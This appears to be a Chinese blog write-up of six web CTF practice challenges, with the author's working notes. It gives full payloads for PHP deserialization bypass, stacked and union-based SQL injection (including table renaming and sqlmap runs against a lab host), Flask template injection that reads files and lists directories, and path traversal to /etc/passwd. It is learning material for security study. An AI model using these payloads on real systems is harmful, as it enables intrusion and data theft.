• 攻防世界题目练习——Web引导模式(二)


    1. Web_php_unserialize

    题目源码:

     
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:\d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    首先要知道,在进行反序列化时,使用 unserialize() 反序列化会先调用 __wakeup()函数,PHP文件在执行结束的时候会将对象销毁,也就是调用__destruct()函数。
    看源码可以知道,__wakeup()函数会强制将文件名转为index.php,因此我们需要绕过__wakeup()函数,接下来执行的__destruct()函数会输出对应文件的内容,我们需要让文件名显示为我们要查看的文件。
    后面的if语句对传递的参数$var进行匹配判断,根据正则表达式的语法规则:
    正则表达式 – 语法 | 菜鸟教程
    / 为定界符,每段正则表达式必须要有一对定界符
    使用了 i 修正符,因此会不区分大小写去匹配
    定界符中间的内容,没有用|隔开,匹配的是这一个类型格式的表达式:
    [oc]匹配任何包含小写字母o,c的字符串,包含一个即可
    \d匹配任何包含数字字符
    +号代表前面的字符必须至少出现一次(1次或多次),在本例中,应该是表示至少有一个数字,也就是一位数以上
    综上,匹配的是类似于O:1:的字符串,也就是对序列化后的格式的字符串进行了匹配过滤,不允许传递这样格式的参数,否则报错,因此我们要对这个过滤用字符进行绕过。
    因此我的想法是考虑和冒号之间用\''将它们分隔一下来绕过。
    绕过wakeup函数的话,当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()
    先写个序列化的脚本:

    
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
    }
    
    $a=new Demo('fl4g.php');
    $b=serialize($a);
    $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
    $b = str_replace(':1:', ':2:',$b);//绕过wakeup
    echo $b;
    echo ("\n");
    echo base64_encode($b);
    ?>
    //输出结果:
    //O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
    //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    要绕过__wakeup()函数,就将Demo后的1改为2
    绕过正则匹配,看到别人的题解里都是用+绕过,也没人说为什么,用引号和反斜杠绕过都不行。
    在这里插入图片描述
    参考博客:
    攻防世界web进阶区Web_php_unserialize,序列化大详解

    2. supersqli

    题目:随便注
    就是一道sql注入题
    单引号注入:
    id=’
    出现报错:
    在这里插入图片描述
    尝试联合注入,发现存在过滤:
    在这里插入图片描述
    因此需要绕过过滤。
    试过url编码和注释符/**/,都不太行,不知道怎么做。

    用sqlmap爆破,命令及执行结果如下:

    #获取数据库
    python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --dbs
    
    • 1
    • 2

    在这里插入图片描述

    #查看当前使用的数据库
    python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --current-db
    
    • 1
    • 2

    在这里插入图片描述

    #列出指定数据库的所有表
    python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" -D "supersqli" --tables
    
    • 1
    • 2

    报错说没有表
    在这里插入图片描述
    尝试了一些都失败了,对sql注入原理了解得看来还是不太清楚,还是去看看别人的解析吧TAT。
    参考博客:
    攻防世界之supersqli
    我也尝试过用order by,博客里用#注释,可是我后面用–+注释就不行,为什么啊!!
    对sql注入的引号判断还是不太了解,再学习一下吧。
    参考博客:
    SQL注入攻击大全
    单引号、双引号、字符型判断:
    输入1',如果报错为''1''',最外侧一对单引号是MYSQL错误信息包含的引号,那么实际的报错部分就是'1'',1后面的单引号是多余的,因此触发报错,就可以判断我们输入的参数就是单引号闭合的形式。
    输入1",如果报错为'"1""',而输入1'不会报错,则可以判断是双引号闭合
    输入2-1,如果能正常显示id=1时的内容,则判断为数字型。
    在本题中,我们可以试验看到:
    inject=2-1时,页面显示的是inject=2的内容
    在这里插入图片描述
    因此可以判断不是数字型,结合前面inject='时的报错显示,可以判断本题是单引号闭合。

    关于注释符:
    参考博客:
    SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master
    一般来说--注释符后面必须要有空格,但是get传参时空格会被忽略,因此通常采用--+来闭合,因为+会被解释为空格。
    这一知识好像也解释了关于我构造的参数的空格在url中为什么会显示为+的问题:
    在这里插入图片描述
    在上面的图片中,+号被url编码为%2B,没有被当作空格,于是我们在--+之间加一个空格试试:
    在这里插入图片描述
    发现可以出现列数的报错,并且--+(%2B)之间的空格在url中被替换为+,那我们再试试直接在--后面加上空格,发现居然可以被正确替换为+
    在这里插入图片描述
    这下我已经完全理解了!
    那接下来就开始正常的注入流程吧。
    发现我对sql注入的流程理解也一般,根据参考博客了解到一般注入流程为:
    1、判断闭合符:单引号闭合、双引号闭合、数字型
    2、判断列数:用order by 4(根据第4列/字段排序)或者union select 1,2,3,4(选择出1,2,3,4列出来),如果报错说第4列不存在等,证明列数<4;如果正常显示查询结果,则首条查询语句包含4个字段。
    3、查询数据库名?id=-1' union select 1,database(),1--+注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。(soga,原来如此)
    4、查表名
    5、查列名
    6、查数据(4、5、6都要用id=-1)
    在这里插入图片描述
    在本题中,select被过滤掉了,因此不能用union select来查询,看到本题的参考博客里使用了堆叠注入,并且学到了用show databases的语句来查看的方式。(知识++)
    堆叠注入参考博客:
    sql注入之堆叠注入
    下面就是解题过程了:

    -1';show databases;#
    
    • 1

    在这里插入图片描述

    -1';use supersqli;show tables;#
    
    • 1

    在这里插入图片描述

    -1';use supersqli;show columns from `1919810931114514`;#
    #当纯数字字符串是表名的时候需要加反引号`
    
    • 1
    • 2

    在这里插入图片描述
    接下来就是从表1919810931114514中查询flag
    但是

    select flag from `1919810931114514`
    
    • 1

    是行不通的,因为select被过滤了。
    最简单的方法是使用handler查询法
    参考博客:
    MYSQL神秘的HANDLER命令与实现方法
    不想仔细看,只学了一下解题博客攻防世界之supersqli里的使用,

    -1';use supersqli;handler `1919810931114514` open as p;handler p read first;#
    
    • 1

    然后是用的比较多的把存放flag的数字表名改成words,再把列名flag改成id,属于修改原查询法
    通过handler方法我们可以看到words表里的内容,可以看到第一列就是我们查询1的时候的结果,也就是说,这个网页在查询数据库时,应该是默认的查询的表名为"words",查询的列名为"id",所以我们把flag所在的表名改成words,列名改成id,就可以在网页查询1时获得flag。
    了解一下修改列名的格式:

    语句:alter table + seat + change column    +seatid  + seat_id + int;
    格式:alter table 表名 change column 旧列名 新列名  新列名格式;
    
    • 1
    • 2

    参考博客:
    【技巧】SQL中修改列名(column)
    在本题中,先将原words表名修改成其他的名字,再将1919810931114514改成words,然后修改列名:

    -1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(100);#
    
    • 1
    • 2
    • 3
    • 4

    此时如果直接查询1,是没有结果回显的,因为现在的flag列里没有值为1的内容,我们用1' or 1#永真条件来显示表中的所有行来获取flag。
    在这里插入图片描述
    还有一种预编译绕过法:

    -1';
    set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
    prepare stmt from @sql;
    EXECUTE stmt;#
    
    • 1
    • 2
    • 3
    • 4

    看看就好,我不想学了,详细内容参考解题博客:)。

    3. web2

    打开网页看到源码:

    
    $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
    
    function encode($str){
        $_o=strrev($str);
        // echo $_o;
        //strrev() 函数反转字符串。就是把字符串每个字符顺序完全反过来输出
            
        for($_0=0;$_0<strlen($_o);$_0++){
           
            $_c=substr($_o,$_0,1);
            //substr() 函数返回字符串的一部分。在字符串$_o中从$_0位置开始返回1长度的字符串。
            $__=ord($_c)+1;
            $_c=chr($__);
            $_=$_.$_c;   
        } 
        return str_rot13(strrev(base64_encode($_)));
    }
    
    highlight_file(__FILE__);
    /*
       逆向加密算法,解密$miwen就是flag
    */
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    照着逆向加密的顺序解密。
    rot13加密算法是对称的,加密一次是将字符前移或后移13位,而在加密一次则是将其前移或后移26位,就完全回到了原来的位置上,相当于解密。
    解密脚本如下:

    
    $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
    function decode($str){
        
        $_o=base64_decode(strrev(str_rot13($str)));
        echo($_o);
        echo("\n");
        //运行结果:
        //~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
        $_ = '';
        for($_0=0;$_0<strlen($_o);$_0++){
            $_c=substr($_o,$_0,1);
            $__=ord($_c)-1;
            $_c=chr($__);
            $_=$_.$_c;
        }
        
        return strrev($_);
    }
    $mingwen=decode($miwen);
    echo($mingwen);
    //运行结果:
    //flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    这题感觉和web关系不大,建议放到密码学类里。

    4. NewsCenter

    打开网页如下:
    在这里插入图片描述
    什么都点不动,只有搜索框能用,抓包看了一下是post方式提交的参数,参数名是search。
    在这里插入图片描述
    猜一下可能是sql注入的题,搜索框输入',返回空白页面,可能是报错页面,又尝试1' or 1=1 -- ,发现返回了全部的news信息,应该是成功构造了永真条件返回了表中的所有行。有了上面supersqli题的经验,我们可以判断这是一个单引号闭合的查询,并且由于是post方式提交参数,--后面的空格可以被成功读取。
    于是接下来判断列数:

    //尝试:
    1' order by 3 --
    //页面正常返回,搜索结果为空
    
    • 1
    • 2
    • 3
    //尝试:
    1' order by 4 -- 
    //返回空页面
    
    • 1
    • 2
    • 3

    因此判断有3列。

    接下来用联合注入尝试爆数据库:

    -1' union select 1,database(),3 -- 
    
    • 1

    在这里插入图片描述
    可以看到当前数据库为news。
    使用group_concat()函数可以爆出所有数据库名:

    -1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata -- 
    
    • 1

    在这里插入图片描述
    继续使用group_concat()函数可以爆出当前数据库所有表名:

    1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news' -- 
    
    • 1

    在这里插入图片描述
    看到有个scret_table很可疑,查看这个表的所有列:

    -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' -- 
    
    • 1

    在这里插入图片描述
    可以看到有fl4g,于是查看fl4g:

    -1' union select 1,group_concat(fl4g),3 from secret_table -- 
    
    • 1

    在这里插入图片描述

    5. Web_python_template_injection

    毫无头绪,搜了一下template的意思是模板,这个题目是模板注入,没见过。
    放几篇参考博客:
    攻防世界-Web_python_template_injection详解
    从零学习flask模板注入 - FreeBuf网络安全行业门户

    {{}}是变量包裹标识符,既可以传递变量,还可以执行一些简单的表达式。

    模板注入的基本原理:如果用户输入作为模板当中变量 的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击,代码输入会原样输出;如果用户输入作为了模板内容的一部分,用户输入会原样输出,如果是代码脚本则会被执行。内容参考:
    SSTI(模板注入)基础总结 - 简书

    首先测试是否存在模板注入漏洞:
    用最简单的表达式,判断是否会被执行:

    url/{{2*7}}
    
    • 1

    在这里插入图片描述
    看到显示了2*7的结果,说明存在模板注入。

    然后是查看当前配置的全局变量,暂时没看明白这个步骤有什么用:

    url/{{config}}
    
    • 1

    在这里插入图片描述
    然后了解一下几个魔术方法的作用:
    通过这些魔术方法的调用来执行命令:

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    首先是查看可用的引用
    我就不管为什么是__mro__[2]了,当作默认的记住吧。

    url/{{''.__class__.__mro__[2].__subclasses__()}}
    //最前面的''应该也可以换成()或者[]
    
    • 1
    • 2

    在这里插入图片描述
    如上图,可以看到有一个type ‘file’,可以进行文件读取,位于从0开始数的第40号位置,因此,对于该类型的引用如下:

    url/{{ [].__class__.__base__.__subclasses__()[40]('想读取的文件名').read() }}
    
    • 1

    接下来再查找可以用来执行命令的引用,我们需要用这样的引用来找到存有flag的文件在哪里以及文件名是什么。这些博客都说的是查找含有’os’模块的引用:
    有一篇博客写了个脚本找到第71号引用(看名字感觉 )是可以用来进行命令执行打印结果的:

    <class 'site._Printer'>
    url/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
    //不知道为什么最后面换成system('ls')用不了
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    看到有fl4g文件正好在当前目录下,于是查看读取:

    url/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
    
    • 1

    在这里插入图片描述

    6. catcat-new

    尝试了sql注入和文件包含命令,没有什么头绪,搜搜别人的解析吧:)
    参考博客:
    攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园
    确实是文件包含漏洞,但是我的思路不对,一开始上来就用伪协议,返回的只有错误页面。
    参考博客里一开始都是用?file=…/…/…/…/etc/passwd查看敏感文件。
    在这里插入图片描述
    这篇博客里学到了读取当前进程的命令行参数?file=../../../../proc/self/cmdline,没见过,第一次见,神奇,但感觉可能记不住。
    在这里插入图片描述
    有一个通过python启动app.py的命令,所以该网站是一个python框架,且是flask框架,因为app.py文件常常为flask项目结构中的主程序文件。于是读取app.py文件查看文件内容。
    在这里插入图片描述
    将换行符与单引号去转义输出。
    我用的网站:在线字符串转义—LZL在线工具

    import os
    import uuid
    from flask import Flask, request, session, render_template, Markup
    from cat import cat
    
    flag = ""
    app = Flask(
     __name__,
     static_url_path='/', 
     static_folder='static' 
    )
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
    if os.path.isfile("/flag"):
     flag = cat("/flag")
     #出现关键词flag
     os.remove("/flag")
    
    @app.route('/', methods=['GET'])
    def index():
     detailtxt = os.listdir('./details/')
     cats_list = []
     for i in detailtxt:
     cats_list.append(i[:i.index('.')])
     
     return render_template("index.html", cats_list=cats_list, cat=cat)
    
    
    
    @app.route('/info', methods=["GET", 'POST'])
    def info():
     filename = "./details/" + request.args.get('file', "")
     start = request.args.get('start', "0")
     end = request.args.get('end', "0")
     name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
     
     return render_template("detail.html", catname=name, info=cat(filename, start, end))
     
    
    
    @app.route('/admin', methods=["GET"])
    def admin_can_list_root():
     if session.get('admin') == 1:
     #需要session为admin才能获得flag
     return flag
     else:
     session['admin'] = 0
     return "NoNoNo"
    
    
    
    if __name__ == '__main__':
     app.run(host='0.0.0.0', debug=False, port=5637)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    不想看了,看不懂,就先这样吧,跟着博客园做就能拿到flag,但是我不想努力了:)

    ——————————————————————————————————-————
    先到这里吧,这些就是难度2的全部内容了,本篇还是有点长,接下来转到第(三)part
    攻防世界题目练习——Web引导模式(三)(持续更新)

  • 相关阅读:
    品牌监控用到API接口,可以实现以下功能:
    PowerPoint如何设置密码?
    Linux 离线安装mysql
    【数据结构】单链表之--无头单向非循环链表
    【Mac 教程系列第 18 篇】如何修改 iTerm2 的背景图片
    短视频账号如何提高权重?三个小技巧来帮忙
    【T3】畅捷通T3采购管理模块反结账,提示:本年数据已经结转,不能取消结账。
    去面试了几家BATJ等N家互联网大厂
    S11-斜线表头操作
    手把手教你编写Python抢购脚本
  • 原文地址:https://blog.csdn.net/qq_48550824/article/details/133694603